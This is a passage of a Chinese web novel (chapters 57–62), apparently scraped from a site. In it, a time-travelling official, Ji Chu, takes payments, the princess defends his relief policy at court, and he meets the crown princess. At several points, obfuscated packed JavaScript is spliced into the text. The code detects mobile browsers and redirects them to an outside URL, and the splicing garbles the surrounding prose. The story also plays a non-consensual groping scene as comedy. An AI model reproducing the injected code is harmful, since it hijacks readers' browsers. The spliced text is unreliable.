“五百两?” “五百两?你瞧不起谁呢,五百两金子还差不多。” “大人,这……会不会太贵了?” “你还别嫌贵,这都不带打折的。你得研究一下参赛选手的心理,愿意掏五百两买个名额的人,根本不在意掏的是金子还是银子。 什么叫族谱单开一页,你知道吗? 族谱单开一页,那就是打今个起,你就是你们家的骄傲,后代子孙皆以你为荣。 太子妃那是嘴吗?那是金口,过了她嘴里的东西,就是皇家御用。 什么是皇家御用?皇家御用就是不求最好,但求最贵。” 季褚小嘴叭叭,听的高士奇懵逼中又带了一丝恍然的灵光,半晌才回过味来,“大人英明,下官知道怎么做了。” 季褚满意的点点头,数十页纸翻看完,愣是没找出几个可勘一观的节目。 毕竟,来之前他就和李清瑶沟通好了,选出十个节目在太子大婚当日进宫表演。 总不能真能在宫里演绎一些胸口碎大石的节目吧? 想想那画面,季褚便忍不住打了个寒颤。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180889|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >没办法,他季大人只能勉为其难祭出了自己的搂钱神器……呸,是精心准备的十个节目。 啪的一声,直接从一堆书里抽出一沓纸拍在了高士奇面前。 “看来矬子里面拔几个大个也挺难啊,还好本官早有准备。我这里有我呕心沥血准备的十份方案,包入围,甚至可以大放异彩。 你且选出十家有实力的,问一问愿不愿意换节目。 润笔费不润笔费的本官不在乎,本官只在乎能否令太子太子妃满意。 正好本官近日无事,也可亲自登门指点一二。” 高士奇眼前一亮,润笔费啊,啧,还得是季大人,又学到了。 “明白,下官这便去联系。” 高士奇动作很快,上午递出消息,临近中午,城里最大的青楼花满楼便送来了拜帖。 季褚主打的就是服务至上,立刻跟着楼主秦凤仙乘坐马车去了花满楼。 “姑娘们,都出来见见大人。” 秦凤仙小手一拍,楼上楼下各个房间顿时出现了一群莺莺燕燕。 “见过大人!” “好好好,都免礼。” 季褚激动的心,颤抖的手,吸溜吸溜就是两口。 家人们,家人们,咱老季穿越一遭,总算是逛上青楼了,没给穿越大军丢范儿。 这时,秦凤仙已经把手搭在了季褚胳膊上,更是很贴心的把身上最有份量的价值沉甸甸的压了上去,“大人,姑娘们都在这里,您随意挑选,那个慢动作舞蹈可不许再让给其他家了。以后大人来楼里消费,奴家给大人永久免费。” 虽说这秦凤仙也算是风韵犹存,可他季褚是那种见了美女就走不动路的人吗? 不是! 当即嫌弃的拍开对方的手,“什么时候秦老板把花满楼开到京城,什么时候再说吧!” 很快季褚便将十几位年轻貌美,身段妖娆的青楼女子挑选出来,开始了现场教学。 “就你,那蒲扇不要遮住鼻子,黄衣服那个,抖肩对,胯胯轴扭起来,哎,对对对。 来了啊,跟着我的节奏,123,预备,唱……跟着我左手右手一个慢动作……对,扭胯骨肘,继续……右手左手慢动作重播……” 这边季褚围着一群莺莺燕燕加急排练舞蹈,可谓是香艳无比。 另外一边。 距离京城不足三十里一处峡谷地,却充满了肃杀之气。 如果仔细看去,两边山上各自埋伏了数百黑衣人。 与此同时,不远处的官道上,数百金甲武士护送着一台豪华马车渐渐出现在了众人视线当中。 第58章 牝鸡司晨?清瑶一言杀疯 “停!” 马车之上传来一道阴柔的声音,众金甲禁军立时明令禁止。 刘公公掀开帘子,虚眯着眼看向了横亘在山路两侧静的可怕的高山。 片刻后,嘴里发出一阵戏谑的冷笑,“一群不知死活的东西,列阵!” “喏!” 禁军统领立刻扯着嗓子指挥车马开始布置军阵。 山上。 “头儿,看此情形对方已经发现了我们,要不要带兄弟们冲一次?”一个黑衣人猫着腰来到了一块大石头后方。 “我等今日目标便是截杀长葛五大家主,硬碰硬,不是明智选择。既然他们不走,那就先等等,反正只要五大家主今日无法进京,我们的任务也算完成了。” …… 京城。 随着一声有事早奏,无事退朝,新一次的大朝会已经开始。 只不过今天的气氛有些微妙,先前自请下狱的李清瑶竟然再次出现在了金銮殿上。 她头戴九翚四凤赤金冠,身披玄色织金云龙纹大袖衫,一如既往的气势逼人。 李智深深的看了前面的皇姐一眼,随即挺胸抬头第一个出班,“启禀父皇,儿臣幸不辱命,长杜粮价已从原先120文,降到了93文。 长杜灾情,无忧矣!” 话音落,班列之中一位须发皆白的老臣,身披紫袍,腰悬玉带,拄着**笏板,颤巍巍地出班,声音洪亮如钟:“三殿下智勇双全,体恤民艰,此等功绩,实乃社稷之福! 老臣斗胆,为三殿下请赏!” 接着,又有一身着绯袍,头戴进贤冠,手持笏板的大臣躬身附和:“三殿下仁德广被,解民倒悬,此等恩德,当昭示天下!请陛下降旨,以彰其贤!” 二皇子眯了眯眼,也快步出班,“父皇,三弟安定一方,此等功勋,非同小可! 还请父皇赏赐以慰其心,以彰其德。” 长葛之事他也一直关注,但对他而言,现在自身实力还不够强大,谁输谁赢并不重要,重要的是怎么把水搅浑。 长公主今日站在朝堂上,就已经说明了很多问题。 毕竟那日的赌注太大,今日之事肯定不会善了。 有功就得赏,他不仅要帮二弟请赏,待会儿证明李清瑶有功,他也会帮李清瑶请功。 至于谁会被架在火上,管他什么事。 而见二皇子出来,支持他的大臣也都纷纷出班附议。 一时间,整个金銮殿顿时变的其乐融融。 见李清瑶没有出来搞乱,李智暗暗松了口气。 在他看来,已经派人去截杀长葛五大主灭口,到时便死无对证,无人知晓自己暗中授意,等父皇降下赏赐,今日这关就算过去了。 可左春突然一声爆呵,却令他心里咯噔一下。 “陛下!长杜黎庶虽得暂安,然长葛苍生犹陷水火,饥寒交迫之声未绝于耳。 此乃社稷隐痛啊陛下!” 说着,左春愤怒走向李清瑶,“长公主,此事皆因你识人不明而起,你又有何脸面站在此处!” 该说不说,老左这个大喷壶的战斗力还是很强的,嗷的一嗓子便令整个朝堂安静下来。 老二眯了眯眼,嘴角微微翘了起来。 老三暗暗握紧了拳头……怎么哪里都少不了这条老狗。 李清瑶淡淡一笑,向后退了两步,防止对方唾沫飞自己脸上,“左大人,还有什么难听的话都可以讲出来,今日本宫让你骂个痛快。” 左春一噎,但很快便缓过神来,向前踏了两步,声音如雷贯耳,“先帝在时,便三令五申女子不得干政,今上特设公主也可干政朝纲,殿下却不思进取,阳奉阴违,牝鸡司晨,祸乱庙堂! 今日长葛之乱,皆殿下因识人不明,纵容奸佞,致使生灵涂炭,若再执迷不悟,臣只能以死明谏!” 李清瑶依旧是那么端庄,依旧是那么高高在上,“左大人,还有吗?” 左春又是一噎。 这小女子怎么个事儿?难不成我左大喷壶人老功力低了? “只有这些了。” “父皇息怒,左大人此言并非质疑圣裁,实乃心直口快,忧国忧民之切也。其忠勇刚直之性,素为朝野所知,今直言无隐,正显其赤诚之心,望父皇明察。”二皇子抓准机会立马打圆场道:“然,长葛一事刻不容缓,儿臣斗胆**,愿代父皇前往长葛赈济灾民。” “陛下明鉴,二殿下体恤黎庶,忧民所忧,其仁德之心,实可嘉许!” ??“长葛灾情已迫在眉睫,若再迟延,恐生民变,社稷危矣!” “望陛下速赐恩准,以安民心!” 梁皇就好似没听到大臣的议论一样,只是略有深意的看了二小子一眼。 知子莫若父,老二那点小算计又岂能瞒过他那双龙眼 “长乐,你可有话要说?”梁皇收回目光,看向了李清瑶。 李清瑶迈步出班,“启禀父皇,长葛灾情已得妥善安置,今粮价稳定于75文上下,较之丰年亦不逊色。 实乃父皇圣威广被,泽被苍生之明证。” 轰隆隆! 清冷明亮的嗓音,宛如平地起了一声惊雷,在众人耳边炸响。 两地传信不畅,有人知道实情,可有人不知道啊。 “皇姐,此言当真?”二皇子装出一副震惊模样。 左春也懵了,“较之丰年亦不逊色,这是如何做到的?” 至于李智,此刻一颗心已然沉落谷底。 他知道,他就知道,今个这事儿没法善了,不由怨毒的瞪了左春一眼。 左春死死盯着李清瑶,见对方嘴角露出一抹戏谑的微笑,不由连退两步,“不可能,绝对不可能……” 其实不仅是他,很多大臣固有印象里,想让粮价上涨容易,可想让粮价下跌,绝非一朝一夕就能做到的,这里面要考虑到的因素太多太多。 况且,之前已经飙升到了天价,怎么可能几日时间便降到了较之丰年亦不逊色的地步。 离谱给 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“好一招先扬后抑,好一招请君入瓮,如此简单的计策,吾等为何就想不出来。”左春苦涩一笑,朝着李清瑶拱了拱手,“不过殿下刚才说的并非全对!” 李清瑶微微蹙眉,可紧接着便又舒展开来。 “并非有脑子就行啊,此策看似平易,实则包罗万象,非有??运筹帷幄之智,决胜千里之胆,明察秋毫之细??,难以成此大业。 老臣错了,实在是错的离谱,恳请殿下允许老臣收回之前的无礼之言。” “老大人夙夜忧国,拳拳为民,此乃??社稷之柱石,黎庶之父母??。纵有微瑕,亦当以忠恕之心待之,何错之有?” “殿下,羞煞老夫啊……” “老大人无需这般介怀……” 哎哎哎? 你们怎么个事儿,咋还相互吹捧上了呢? 二皇子李智就跟吃了苍蝇一样难受,拳头捏的嘎嘎作响。 季褚么? 你可真该死啊! 三皇子合上折子,内心久久无法平静。 此子,智计如妖,某必不能让明珠蒙尘,我的我的都是我的。 一时间,整个金銮殿都陷入了诡异的安静。 可任谁心里都知道,这季褚,怕是要一飞冲天了。 李智心有不甘的和好折子,“父皇明鉴! 季褚之计虽解长葛之危,然此策实为??与民争利??。 开此先河,恐生大患! 先以重利诱商,后行闷杀之策,若百官效仿,朝廷威严何存?国法纲纪何在? 民本困乏,当休养生息,季褚却??倒行逆施??,竟于太子婚事大做文章,实乃不顾皇家颜面,不顾百姓死活??之举。 有功固然可赏,有过亦当受惩,方能赏罚分明,以正朝纲??!” 第59章 清瑶小嘴叭叭震庙堂,季褚隔空受封从二品 今日之事已然无法善终,李智自然不能看着李清瑶大出风头。 至于季褚,**一个罢了,他压根不在乎。 “长乐,你来说说,季褚此举又是为何,可有一个说服众位臣工的理由。” “启禀父皇,那日季褚问过儿臣一个问题。 大灾之后,一地民生为何需要数年修养才能恢复?”李清瑶环顾众位大臣,“今日我且问问诸位大人,这个问题诸为又该如何回答?” 众人你看我,我看你。 还能怎么回答? 大灾之后,民不聊生,为了活命,家家户户掏空了家底,若想恢复往昔,自然要需数年积累才可恢复。 这个时候,哪怕朝廷减免赋税也很难短时间内恢复民生。 历朝历代都是如此。 可看李清瑶那副成竹在胸的样子,又无人敢直接应答。 毕竟,大家都是人精,回答的好没啥好处,万一回答的不好,那岂不是显得自己太彪,万一触怒了圣人被赶出庙堂咋整? 见无人应答,李清瑶顿时一阵兴趣缺缺,开口说道:“诸位今日之思,与本宫当日所想,实乃不谋而合。 然季褚却言,本宫之思固化,难解民生之困。 大灾之后,百姓所缺者,非独赋税之轻,实乃积蓄之厚也。 朝廷若仅以减赋为策,则如扬汤止沸,徒治其标,而未触其本。既如此,何不根治其本,令百姓以劳作生财? 如此一来,既可解朝廷劳役之困,亦可速填百姓家计之虚,更可使黎庶有事可为,心有所寄,乱自不生! 故以劳作代替赈济,??方为固万世基业,开千秋太平??之治灾正道。” “好一个固万世基业,开千秋太平??之治灾正道。”户部尚书躬身道:“臣以为,以劳作代赈济,当??推行全国,泽被苍生??。此后但有灾情,可??大大缓解户部之困,安社稷之基??。” “臣附议!” “臣附议!” 梁皇端**,心情可谓是格外的好。 不当家不知柴米贵。 只要省钱,他就高兴,有了钱他就能继续打仗。 天知道他有多么想要夺回燕云,一统九州,彻底终结整个乱世。 梁皇走神了。 他仿佛已经看到了自己一统燕云,周边数个小国纳土归梁的场面。 可别人不知道啊。 还以为梁皇不开口,是有别的什么想法,立刻有大臣说道:“民生本就疾苦,还要继续压榨百姓劳动,是否欠妥?” “皮之不复,**将焉存?不给工钱,受灾的百姓依旧要想办法恢复家园。”左大喷壶再次上线,对着说话的大臣就是一顿唾沫星子洗脸,“吕大人不懂民生,就给老夫闭嘴,这样只会显得你没有脑子。” 吕大人面色微红,拱手做辑:“左老大人,下官敬重您年高德劭,可您也不能为老不尊。 方才那句牝鸡司晨,犹在耳畔,还望大人慎言!” 左春眼珠子一瞪,立马撸起了袖子,“吕小匹夫,莫非欺辱老夫腿脚不利呼?” “下官的腿脚未尝不利!”吕大人冷哼一声,拉开架势,老匹夫,来啊,来啊,真当我怕了你不成? “够了,尔等皆为朝廷命官,学那市井之徒,成何体统!” 梁皇怒声呵斥,下面官员刷刷跪地请罪。 “此乃仁政,户部稍后拟个详细的折子上来,以后但有灾情便已此法应对!” “臣遵旨。” 听到户部尚书领旨,三皇子捏紧了拳头,骨结根根发白。 他知道,今日之后,怕再想打压太子,难了。 而且一旦此事传扬出去,以后灾民会记季褚的恩,民间更会念长公主的贤明。 所以季褚必死。 必须死! 他频频朝自己手下的礼部官员使眼色。 后者心领神会,出班奏道:“陛下,赈灾之法固然可取,然季褚之行,实有损皇家威仪。 值此危难之际,百姓民不聊生,太子大婚却行那奢靡之风。如此行径,岂非败坏皇家声誉?” 闻言,百官立刻窃窃私语起来。 “确实于礼不合啊!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180891|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “听说那季褚不过弱冠,看来还是缺了一些火候!” “非也!”李清瑶开口说道:“诸位大人,太子大婚,乃普天同庆之盛事,正宜与民同乐,共襄盛举。 且大兴土木,文艺汇演,皆对标地主富贾,非为奢靡,实乃通商惠民之举。 彼等有钱,民间有力,若能众志成城,则财货流通自速,灾年可渡,国计民生亦可复振。 天家巡幸,虽常有劳民伤财之弊,太子妃下榻长葛,非但未耗府衙钱粮,反因广设商贾之市,吸引四方豪商,增赋税之入,盈库府之实。 更兼民间因商贾云集,百业俱兴,百姓得利,长葛灾情迅速平定,实乃一举多得之善政。 非但无损皇家颜面,反彰皇家体恤爱民之情!” 这话一出,所有人都不说话了。 梁皇欣慰的看了一眼宝贝大闺女,“拟旨,季褚献计献策,平粮价有功,封太子少保,户部侍郎,兼领礼部员外郎,随行负责太子妃日常起居。” “儿臣替季褚谢主隆恩。”李清瑶欣喜若狂。 虽然早就知道父皇必会加以封赏,但没想到赏赐这般雄厚。 太子少保,东宫三少之一,同三师一同教导太子。 可三师皆有朝中重臣担任,实际上真正教导太子的活儿全是三少在干。 父皇此举,表面是看重季褚的才华,让他教导太子。可实际上,又何尝不是对太子的一种肯定。 而且户部侍郎这个位置也相当重要,相当于为他们在户部打开了一道缺口。 但最和李清瑶心意的还是礼部员外郎,随行负责太子妃起居。 如此一来,岂不是方便了帮太子借种? “起来吧,既无其他事,那便退朝!”说完,梁皇起身离开龙椅。 自始至终都没提对三皇子的封赏。 正当三皇子闷闷不乐之时,老太监刘公公迈步走进了大殿,“太子殿下,二殿下,三殿下,长公主殿下,圣人请诸位皇子春暖阁议事。” 其他人倒是无所谓,可看到活生生的刘公公,三皇子脸上刷的一下失去了血色。 第60章 太子妃凤倾城 时间匆匆,晃晃又是数日。 整个长葛可谓是张灯结彩,街面上的路人也是喜气洋洋,哪还有半点大灾后的样子。 当然了,要说最高兴,还得是季褚。 出差十几日,您猜怎么着,绯色官袍直接变成了传说中的紫袍。 相当于从一个小卡拉米,直接成了进部大员。 这要是换穿越前,简直想都不敢想。 公主大白腿的喷香程度简直直线上涨。 此刻他正带着礼部各位官员,以及长葛士绅出城十里恭迎太子妃鸾驾。 “季少保,太子妃车架已经不足三里。”高士奇听完手下汇报,立刻匆匆来到季褚面前小声汇报。 季褚满意的点点头,这几日老高的路子也总算走宽了。 总共十分方案,他都说了润笔费不润笔费的无所谓,可老高愣是给他弄来了十万两润笔费,还说什么大人辛苦,务必收下之类的话,整的季褚只能勉为其难踹进了自己腰包。 那帮自己要的是润笔费吗,那是男人的胆啊! 何况他季大人本就是心胸宽广之人,先前的不愉快早就忘的一干二净,近几日高士奇操持文化汇演也是有板有眼,这样的能臣干吏不提拔他,提拔谁? 约莫片刻,便见远处旌旗招展,马蹄踏踏。 数千金甲禁军,数百北地边军护送着长长的送亲队伍缓缓而来。 季褚忙着大小官员上前迎接。 “下官季褚,参见太子妃殿下,殿下千岁!” 虽然尚未举行册封大殿,但圣旨早已下达,所以他直接称呼太子妃殿下也符合常理。 “季少保有礼了,诸位大人也都辛苦了。”一道声若凤鸣,英气盈盈的声音自马车内传来。 微风拂过车帘,就见车内端坐一名宫装华贵的女子,斜插的金簪步摇微微晃动。 她眉眼如画,鼻梁秀挺,滑腻的肌肤在暖阳下显得熠熠生辉。 凤倾城,果然是倾国倾城。 可她明明是个娇艳欲滴的大美人,那双摄人心魄的眸子,却给人一种战场厮杀的凌厉。 这女人,不简单啊! 这是季褚的第一印象,同时也不禁蛐蛐起了李清瑶。 帮太子妃借种的事儿,谁爱去谁去,反正他死活不能去。 见她看来,季褚赶忙压下万般思绪,拱手道:“殿下此番长途跋涉,实乃不易,下官即刻护送殿下进城。” 说完,和赶车的亲卫说了一声,而后直接跳上了马车,亲自驱马前行。 合乎礼仪么? 管他合不合了,他季褚行事,什么时候在乎过礼仪,这么好的印象分,不赶紧留下,过这村可就没这店了。 车马一路前行,随行的卫兵自然不能入城,不过安顿卫兵的小事也用不到他操心。 季褚直接将车赶到了原先的吕府面前,那日五大家族被抄家,几座宅子都空了出来。 季褚考察一番,还是觉得吕府更加大气。 凤倾城在婢女的服侍下,进了后宅的浴房,这里早已烧好了香汤专门供她沐浴更衣。 然而谁也没想到,人前端庄典雅的太子妃殿下,一进浴室就跟换了人一样,挥退要来伺候更衣的婢女,自己三下五除二脱掉衣服,跳进了浴池中。 “小姐,注意仪表,如今你已经是太子妃殿下了。”贴身婢女小声提醒道。 “这里又无外人,这些日子装的我实在难受,每日坐在车架里,哪有骑马自在。” 凤倾城一顿小狗刨游到了岸边,“蒹葭,回头你点一下那个季大人,让他把这里的水换成正常水,香唧唧的闻着难受。” 蒹葭无奈扶额,也不禁为小姐今后担忧起来。 自家小姐十五岁便敢带甲冲阵。 在北地,穿甲蒙面,别人只识北地银枪小将,不知小姐身份。 可就这性格,装又能装多久? 一旦暴露,怕是会惹得太子不喜。 “小姐,京城不如咱们北地,这里的人心眼多着呢,咱还是入乡随俗吧!” “哎!”凤倾城趴在岸边,幽幽的叹了口气,“好想骑着胭脂冲杀一番,可惜这一路也没有机会。 真不知道爹爹怎么想的……也不知那太子到底是何秉性。” “太子 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“浩然正气,那是什么?”凤倾城鄙夷道:“若读书人都有浩然正气,去年北戎那场仗,我军也不会大败而归。” “小姐莫非是看上了季褚?” “一入宫门深似海,我靖北侯府在朝中并无根基,此人是我那大姑姐的家臣,如今又得圣人看重,忝为东宫少保,若有此人协助,以后的日子说不定会舒坦些。” 蒹葭咯咯一笑,“都言长公主倾国倾城,堪称大梁朝第一美人。 我看那是因为咱家小姐没有进京,小姐绝世独立,莫非还怕在殿下面前失了宠?” 让小丫鬟一打趣,凤倾城顿时羞红了脸,“死丫头,我看你皮子痒痒了。” “放心吧小姐,只要太子殿下见了您,肯定会被您迷的噔噔的。” “男人就没一个好东西,娘亲何等绝色,爹爹的后院还不是一个接着一个的进。”凤倾城缓缓闭上了眼,嘴角浮起一抹冷笑,“娘说了,靠谁都不如靠自己。” 第61章 糟糕,太子妃全知道了,提出非分要求 季褚刚刚回到府衙,以为太子妃舟车劳顿肯定会先休息一番,结果屁股还没坐热,便有人来报太子妃有请。 没办法,只能又匆匆赶去了太子妃下榻之处。 “臣,季褚参见太子妃殿下。”季褚躬身行礼。 “季少保无需这般多礼,你如今担任东宫三少之一,既是太子之师,亦是本宫之师。 免礼,赐座!” 季褚眼皮一跳,心说这太子妃还蛮好说话的呢,“谢殿下!” 季褚坐好,抬眸看向了正中主位上的凤倾城。 此刻的她只着一身素衣,眉山远黛,唇若樱桃,少了那股披靡的英气,反而多了几分清纯矜贵。 季褚打量对方,对方同样也在打量季褚。 剑眉星目,?6?8面如冠玉,眉宇间流转着贵公子独有的矜贵从容。而且修炼了“邪功”,季褚自内而外流露着一股英武不凡气息。 对于女子还是很勾人的。 很浅显的道理,毕竟这“邪功”的主要附加属性便是令女子达到痴迷的程度,肯定是越练越帅,要是越练越丑,谁还陪你练啊。 说实话,细细打量了季褚一番,凤倾城多少有些吃惊。 若非知道他的手段,闹不好还真就被他的表象给骗了。 “殿下舟车劳顿,不尽早休息,唤下官前来所为何事?” “季少保是个聪明人,本宫也不想和你绕弯子,敢问大人,是忠于太子殿下,还是忠于长公主殿下?” 闻言,季褚瞬间就是一愣。 这太子妃殿下啥情况,这么直接的吗? 第二章 “季大人,这话很难回答吗?” 季褚赶忙躬身行礼,“殿下,忠于长公主,就是忠于太子,臣属实不知殿下何意。” “一入宫门深似海,我靖北王府在京城毫无根基。 没有人支持,哪怕本宫现在坐稳了这个位置,将来也未必坐得稳那个位置。所以本宫需要外朝有人支持。” “殿下多虑了。” “真是多虑吗?”凤倾城嗤笑一声,“季大人这般聪明的人,不会看不出来吧!” 季褚:…… 你这话说的,臣是聪明,但臣是真没看出来啊! “圣人为何钦点我为太子妃?还不是看我靖北侯府带甲五万。 一是为了去年大败,稳我父亲的心。 二,也是为太子拉拢一个强力的外援。 我便与你说的长远一点,今日我侯府迫不得已,必倾尽全力助太子登基。 可他日功成名就呢? 圣心难测,新皇登基,怕是第一个削的就是侯府这个外戚。” 季褚恍然。 好么,闹半天你是担心这个。 不过,人家有这份担心也确实情有可原。 而且太子已是废人一个,如今更是想到了借种这种荒唐事,恐怕还真会如她所料那般。 到时候,只怕靖北侯府一个活口都不会留。 而就在季褚愣神之际,一阵香风扑面而来,不知何时太子妃已经来到了季褚面前,低声道:“太子已经废了,你可知晓?” 只一瞬间,季褚的脑门上便冒出了一层细汗。 尼玛,她咋全知道了? 凤倾城的眸子瞬间变的锐利起来,“看来都是真的。” “殿下……” 凤倾城冷哼一声,“不用与我解释,至于我怎么知道的,自有渠道,你只需告诉本宫,是三皇子做的吗?” 这下,季褚彻底不知道说什么好了。 可迎着那双寒气逼人的眸子,季褚只能硬着头皮道:“那日之事我也只是有所耳闻,但我觉得不太像三皇子。” “哦?” “无他,三皇子大势已成,没必要这般冒险,害了太子他又能得到什么好处?可万一事情败露,圣人绝对不会善罢甘休。 所以,我反倒是觉得更像是二皇子的手笔,为的就是挑起太子和三皇子的争端,他好浑水摸鱼。” 凤倾城点了点头,眼底的寒气渐渐散去,反倒是多了几分欣赏,“你的分析与本宫不谋而合。 本宫从来不是一个可以忍气吞声的人,季少保,你可愿意帮本宫为太子殿下报仇?” 闻言,季褚立马端正态度,“主辱臣死,臣自然愿意!” 好家伙,这大梁朝是怎么了? 怎么莫名就有种阴盛阳衰的感觉? 李清瑶不简单,这个北地来的太子妃,似乎同样不简单。 “那就说说你的计划,本宫看看如何配合你。” 季褚:…… 咱要不要那么直接啊! 这一时半会儿的,我哪有什么好办 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我滴姑奶奶,人家给的,你还真不见得能给。 即便你能给,我也不敢要啊! “喏!若无其他事,下官这便告退,不打扰殿下休息了,今晚还有大型文艺汇演,晚些时候,下官会遣人来与殿下详细说明具体事项。” “季大人没少捞吧!”凤倾城嘴角缱绻起一抹淡淡的微笑。 季褚:…… “放心,本宫不会往外说的,润笔费嘛,应该的。” 季褚老脸一红,“殿下就别打趣下官了,实在是下官也穷啊!” “早闻少保诗词无双,倾城可否请大人赋诗一首? 当然,润笔费肯定少不了你的,一万两如何?” 季褚闻言,眼前瞬间就是一亮。 你要谈钱,那我可不困了熬。 “润笔费不润笔费无所谓,只要殿下不嫌弃就好。”季褚赔笑道:“还请殿下出题。” “那便为本宫写一首求爱的诗吧!” 季褚闻言,心里咯噔一下。 他没听错吧? 再一抬头,正好对上凤倾城那双意味深长的眸子。 第62章 殿下,你身上真的好香啊 季褚心脏怦怦狂跳。 梁朝的女人怕不是都有什么大病吧? 抓别人把柄的事儿有那么好玩么?! “殿下,这,这怕是不妥吧?” “有何不妥,本宫这便为你研墨,季少保放心,本宫一定会小心珍藏,绝不让此诗现世。”凤倾城走到案前挽袖研墨,顺便给了他一个揶揄的笑容,“本宫可不似季少保那般胸怀宽广,为了国事,污自身以入局。” 季褚深吸了口气,他知道,他就知道。 有些事儿,你压根逃不掉。 给当场太子妃,未来皇后写求爱诗? 这事儿要是传出去,只怕李清瑶就得先阉了他。 当然了,把柄也是相互的。 稍一盘算,虽然利大于弊,但终究有弊啊,季褚决定挣扎一下。 深吸口气,道:“写可以,不过殿下得加钱。” “哈?”凤倾城惊的张大了小嘴,“莫非长公主那般小气,平日不给季大人钱花?” 季褚尴尬一笑,“五万两,若是殿下肯给,下官这便动笔。” “蒹葭,取五万两银票送给季少保。” 话音落,很快就有个漂亮的小侍女拿来一张银票。 这一下,季褚的心彻底**,只能来到书案前,提笔,沾墨,想了想的飞速下笔。 “忆昔花间初识面,红袖半遮,妆脸轻转。 石榴裙带,故将纤纤玉指,偷捻双凤金线。 碧梧桐锁深深院,谁料得两情,何日教缱绻? 羡春来双燕,飞到玉楼,朝暮相见。” 随着最后一笔落下,凤倾城绝美的脸庞已经红到发烫。 因为诗里的意境,恰似进城前的那抹暖风掀起的车帘。 而一旁的蒹葭,更是满脸愕然,难以置信。 这臣子好大的狗胆,殿下令他随便写首诗好抓住他的把柄,他竟然把心里话写出来了。 【好色之徒】的标签啪的一下,直接被她用眼神拍在了季褚脑门上。 “落款呢!”凤倾城屏气凝神问道。 季褚想了想,提笔继续,“季伯赢敬倾城:忆昔花间初识面。” 见状,凤倾城心跳都停了半拍,心里莫名生出一丝异样的情愫。 她终究不过二八年华,哪见过这般直接,大胆,赤裸裸的表白。 季褚放下毛笔,“殿下,可还满意!” 凤倾城瞥了蒹葭一眼,后者立刻上前吹干墨迹收拢起来,然后拿着离开。 “嗯,本宫甚是满意。” 季褚暗暗松了口气,“既如此,那臣便告退,不打扰殿下休息了。” “不急。季少保你既是我那大姑姐的心腹,可知我那大姑姐和太子如何应对新婚之夜?” 季褚心里直呼一声窝草,你直接砍了我得了。 忙道:“臣不知!” “当真不知!” “当真不知?” 凤倾城眉头紧锁,突然毫无征兆出手,一把揪住了季褚衣领。 季褚下意识去抓对方的手,然而很快他就发现……太子妃的小手真滑溜……呸,是太子妃的劲儿真大。 以他现在三流炮灰的实力,竟然掰她不动。 被一小女子薅衣领,问题是自己还挣脱不开,这对季褚来说,简直就是挑战他的底线。 无他,爷们儿要脸。 季褚本能的使出一招龙抓手! 下一秒,凤倾城就好似被人施展了定身咒,直接僵愣当成。 四目相对,季褚也傻眼了。 这该死的条件反射啊…… 可单薄的衣衫,真的很奈斯。 凤倾城的鼻息渐渐变的粗重,喷在季褚脸上,几乎要将她活活烧死。 她红温了。 季褚索性把心一横,另外一只手也伸了过去。 本来凤倾城都要**了,又被抓了一下,脑海里顿时一片空白,下意识低下头,再抬头,那双眸子已经通红通红。 季褚暗道不好,立马施展了一招运筹帷幄。 果然,凤倾城再次低头…… 她抬,他握,她低,他松…… 感受着她的气息越来越乱,季褚也是一阵脊背发寒,一咬牙,松开对方的同时,用力抱住凤倾城,使出吃奶的劲儿将人推到了桌案上。 砰的一声。 凤倾城后背砸在了桌案上,头上的步摇瞬间甩出,乌黑的三千发丝沿着桌案宛如瀑布一般垂落。 凤倾城懵了。 而压在她身上的季褚同样懵了。 她不是高手吗,怎么一推就倒?早知如此,自己使那么大的劲儿做什么。 凤倾城身经百战,什么样的危险没遇到过。 下意识双腿一勾,夹住季褚的腰,腰身用力,砰的一声,便将季褚摔倒。 与此同时,收回长腿,一个跪骑将季褚按在了地上,手里不知何时多了一把**,一手横亘胸前,一手握着**直抵季褚脖子。 “季褚,你大胆……” 散落的青丝垂在季褚脸上,恰似一道有形的牢笼,将二人的脸封锁在一个狭小的空间内。 “我连情诗都敢写,这又算得上什么大胆,不过殿下,你身上真的好香啊……” “你……” 凤倾城简直又气又羞,肩膀都在都发抖,只是很快她就觉察到了身下的异样。 就好似坐在了烙铁上一样,一句话没说完,便噌的一下闪身而起。 季褚暗暗松了口气,拍拍屁股站起身,“殿下,臣刚刚实在是情难自禁,还请殿下赎罪。” “住口!” “是,臣都听殿下的,谁让臣已经深陷殿下的美色呢!” “你……再说,我……我杀了你。” 凤倾城哪见过这等无赖,此刻早已芳心大乱,气的都不知道说什么好了。 季褚拍了拍胸口,悬着的心总算放回了肚子。 而且他突然发现,有时候不要脸,还真有奇效。 “既然殿下无事交代,那臣便告退了。”说完,赶紧向外走。 “站住!” 季褚:…… “刚才的问题,你还没有回答本宫。” “啊?什么问题?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17180894|196962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 